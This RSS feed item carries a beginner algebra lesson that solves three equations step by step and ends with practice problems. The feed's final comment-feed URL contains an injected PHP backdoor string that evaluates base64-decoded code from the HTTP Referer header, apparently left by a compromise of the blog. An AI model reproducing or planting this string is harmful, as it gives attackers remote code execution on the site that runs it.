<p>When you do normal arithmetic, you typically do problems like &#8220;12 x 23 = something&#8221;, or &#8220;12 + 23 = something&#8221;, or some combination of these. These things are really algebraic expressions, in the language of algebra, we&#8217;d write them as &#8220;x = 12*23&#8243; or &#8220;x = 12 + 23&#8243;, when we do arithmetic we&#8217;re really <em>solving resolved equalities in algebra.</em> So then, algebra is the next logical jump, it&#8217;s a set of rules for solving <em>unresolved equalities.</em></p>
<p>So, how do we come up with rules to do that? Really, it only requires one rule, we&#8217;ll call it the &#8220;fairness&#8221; rule, specificly it says that, given <em>any</em> equality, we can take some operation and do it to both sides, and get an equality back. Later we&#8217;ll learn how to write this in symbols, but for now, we&#8217;ll just remember it as the following adage, &#8220;Anything you do to one side, you have to do to the other.&#8221; This rule, along with the transitivity rule, allows us to transform just about any unresolved equality into a resolved one. Pretty powerful stuff.</p>
<p>So lets do a couple of problems with unresolved equalities, solve for x in the following:</p>
<ul>
<li>
<div>&#8220;3x = 9&#8243;</div>
</li>
<li>
<div>&#8220;3x - 1 + y = 2x + y&#8221;</div>
</li>
<li>
<div>&#8220;3x^2 = 27&#8243;</div>
</li>
</ul>
<p>The first one is pretty easy, we just need to find an operation to get rid of the 3 on the left side, the obvious choice is to divide by three on both sides, and in fact, thats the right choice. Doing so, we get &#8220;3x/3 = 9/3.&#8221; So now how do we simplify that to get a resolved equality? Well, realize that saying &#8220;3x&#8221; is just saying that you have a number with a factor of three in it, a factor which you can remove by dividing, and in general saying &#8220;n*x&#8221; is the same as saying that you have a number with a factor of n in it. So what do you have left from a multiple of three when you divide by three? Simply, &#8220;x&#8221; &#8212; the other factor of the equation. So our answer is then &#8220;x = 9/3&#8243;, or more simply &#8220;x = 3&#8243;. That was easy.</p>
<p>What we did with multiplication, also works with addition, or any other operation. So lets try it out on the second equation. We won&#8217;t do as much explaining, I&#8217;m just going to list the steps:</p>
<ol>
<li>
<div>3x - 1 + y = 2x + y</div>
</li>
<li>
<div>3x - 1 + y - y = 2x + y - y</div>
</li>
<li>
<div>3x - 1 = 2x</div>
</li>
<li>
<div>3x - 2x - 1 = 2x - 2x</div>
</li>
<li>
<div>x - 1 = 0</div>
</li>
<li>
<div>x - 1 + 1 = 0 + 1</div>
</li>
<li>
<div>x = 1</div>
</li>
</ol>
<p>The important things to note here are in steps 4 and 5. In step 4, we&#8217;re subtracting a multiple of an unknown from a multiple of an unknown, this implicitly[1] uses a notion called &#8220;factoring,&#8221; which you may have heard of in arithmetic, where you would factor numbers into individual components. Here, it means the following, If you have something like: k*x + n*x, then you can write it as x * (k + n). This is because when we expand multiplication on an expression in parenthesis, we multiply the expression on the outside of the parenthesis with each item in the parenthesis. We can see this with numbers by looking at the following example:</p>
<ul>
<li>
<div>x = 9 + 27</div>
</li>
<li>
<div>x = (3*3) + (3*9)</div>
</li>
<li>
<div>x = 3(3 + 9) &#8212; you see how we removed the common factor of three, and now we have two simpler problems</div>
</li>
<li>x = 3*12</li>
<li>x = 36</li>
</ul>
<p>The other step I noted, step 5, underlies a really important thing in algebra, the existence of the number zero, and specifically, the fact that you can have expressions equal to it. This comes up when dealing with quadratic equations (we&#8217;ll talk about those later), Calculus, and virtually <em>all</em> of the rest of mathematics.</p>
<p>The third equation I listed is solved as follows:</p>
<ol>
<li>
<div>3x^2 = 27</div>
</li>
<li>
<div>3x^2 / 3 = 27/3</div>
</li>
<li>
<div>x^2 = 9</div>
</li>
<li>
<div>sqrt(x^2) = sqrt(9)</div>
</li>
<li>
<div>x = +3 or -3</div>
</li>
</ol>
<p>The important, and possibly confusing step here is step 5, after taking the square root (written as sqrt(x^2) here) &#8212; the inverse operation of x^2, which means &#8220;x multiplied by itself twice&#8221;, and in general x^n means &#8220;x times itself n times&#8221; &#8212; I wrote that x is equal to either +3 or -3. It&#8217;s easy to see if we plug either answer in to the equation in step 3, both +3*+3 = 9, and (-3) * (-3) = 9. [2]</p>
<p>So, with what I&#8217;ve armed you with so far, you should be able to master a few more problems, since algebra is such a big subject, I can&#8217;t teach it in just one post, so this is as far as we&#8217;ll go this time, I&#8217;ll leave a few more algebra problems for you to try out. It&#8217;ll work like this, I&#8217;ll give you the original unresolved equality, and a variable to solve for, and your job is to find the list of manipulations, one at a time, to go from the unresolved equality to a resolved equality. Here they are.</p>
<p>In all three, solve for x, they rank from easiest to hardest:</p>
<ol>
<li>8x + 1 = 17</li>
<li>2(9x + 4y) = (18 + 16y)/2</li>
<li>10x^2 + 6 = 1006</li>
</ol>
<hr />
<p>[1] In case you haven&#8217;t seen that term before, it means that we&#8217;re using some rule without explicitly stating it.</p>
<p>[2] It may seem counterintuitive now, but you&#8217;ll have to take my word on it, a negative times a negative is a positive. We&#8217;ll get to this idea later.</p>
]]></content:encoded>
			<wfw:commentRss>http://lowlymath.net/2008/06/02/basic-math-algebra-101/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
